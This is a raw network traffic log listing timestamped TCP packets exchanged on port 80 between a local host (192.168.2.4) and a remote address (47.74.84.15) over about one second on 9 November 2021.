Nov 9, 2021 22:22:12.273991108 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274008036 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274027109 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274036884 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274044991 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274061918 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274063110 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274068117 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274080992 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274099112 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274122953 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274132967 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274144888 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274153948 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274162054 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274179935 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274198055 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274210930 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274214983 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274231911 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274239063 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274250984 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274266958 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274277925 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274282932 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274298906 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274317026 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274331093 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274338007 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274348021 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274358034 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274364948 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274382114 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274389982 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274398088 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274415016 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274415016 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274430990 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274439096 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274447918 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274462938 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274480104 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274490118 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274497032 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274513006 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274528027 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274529934 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274547100 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274549961 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274564028 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274579048 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274580002 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274595976 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274607897 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274611950 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274629116 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274645090 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274655104 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274662018 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.274688005 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.274715900 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.533714056 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.533772945 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.533813000 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.533850908 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.533879995 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.533885002 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.533927917 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578214884 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578280926 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578320980 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578347921 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578361034 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578386068 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578401089 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578439951 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578459978 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578480959 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578520060 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578532934 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578560114 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578599930 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578610897 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578638077 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578676939 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578685045 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578715086 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578758001 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578761101 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578799009 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578836918 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578847885 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578876019 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578915119 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578922987 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.578953028 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578993082 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.578998089 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579035044 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579073906 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579080105 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579211950 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579255104 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579267979 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579296112 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579339981 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579341888 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579382896 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579423904 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579428911 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579462051 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579499960 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579507113 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579539061 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579576015 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579582930 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579615116 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579654932 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579664946 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579694986 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579735041 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579740047 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579772949 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579812050 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579824924 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579852104 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579889059 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579904079 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.579930067 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579968929 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.579982996 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.580008984 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.580053091 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.580075026 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.780580997 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.837501049 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.837713003 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.837774038 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.837837934 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.837925911 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.840080976 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.883656979 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883725882 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883766890 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883807898 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883832932 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.883848906 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883883953 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.883891106 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883934021 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.883958101 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.883974075 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884015083 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884016037 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884082079 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884120941 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884129047 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884161949 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884201050 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884206057 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884251118 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884294033 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884324074 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884332895 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884372950 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884394884 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884413004 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884450912 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884480953 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884490013 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884529114 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884535074 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884587049 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884628057 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884634018 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884680033 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884707928 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884742975 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884747982 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884785891 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884799957 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884825945 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884871960 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.884902000 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884943008 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884982109 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.884989023 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885020018 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885077000 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885077000 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885109901 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885138988 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885179043 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885180950 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885221958 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885257006 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885260105 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885299921 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885308981 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885339975 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885376930 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885390997 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:12.885416031 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885454893 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:12.885462999 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.084470034 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.084604025 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.084671974 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.141484976 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.141525030 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.141637087 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.143434048 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.143467903 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.143548965 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189004898 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189068079 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189105988 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189110994 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189152002 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189152956 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189191103 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189229965 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189244032 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189271927 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189308882 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189317942 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189348936 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189388990 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189393044 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189425945 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189466000 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189467907 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189505100 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189544916 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189548016 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189584017 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189620972 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189626932 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189660072 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189697981 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189702988 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189734936 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189773083 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189779043 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189810991 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189850092 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189855099 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189888954 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189927101 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189930916 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.189966917 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.189997911 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190037966 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190043926 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190082073 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190120935 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190155029 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190160990 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190165043 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190201998 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190239906 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190254927 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190279961 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190318108 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190335989 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190359116 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190398932 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190416098 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190438032 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190478086 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190493107 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190520048 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190557957 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190570116 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190597057 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190634966 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190643072 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190674067 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190712929 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190718889 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190749884 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190788031 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190793991 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190826893 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190864086 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190871000 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190901995 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190939903 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.190943956 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.190978050 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191018105 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191020012 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191054106 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191096067 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191098928 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191133976 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191170931 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191179037 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191210032 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191248894 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191287994 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191327095 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191334963 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191365004 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191374063 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191404104 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191431046 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191442013 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191479921 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191495895 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191519022 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191555977 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191574097 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.191595078 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191626072 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.191667080 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.280577898 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.388184071 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.388228893 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.388309002 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.445122957 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.445158005 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.445285082 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.446863890 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.446892023 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.446953058 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495084047 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495134115 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495156050 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495177984 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495193958 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495198011 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495222092 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495223999 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495245934 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495261908 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495269060 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495290995 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495312929 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495316029 CET	49887	80	192.168.2.4	47.74.84.15
